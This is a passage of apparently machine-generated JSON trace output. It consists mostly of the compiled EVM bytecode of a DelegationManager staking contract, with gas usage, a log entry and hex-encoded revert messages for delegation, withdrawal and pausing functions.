00080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220cbe856cde7c5bcfd582d4b89705de7c9eaac9afdc5d0cafafaf46a903a95abd164736f6c634300081b0033","gas_used":4634013,"gas_limit":6148339,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe681565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c85381565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916148061103f5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e602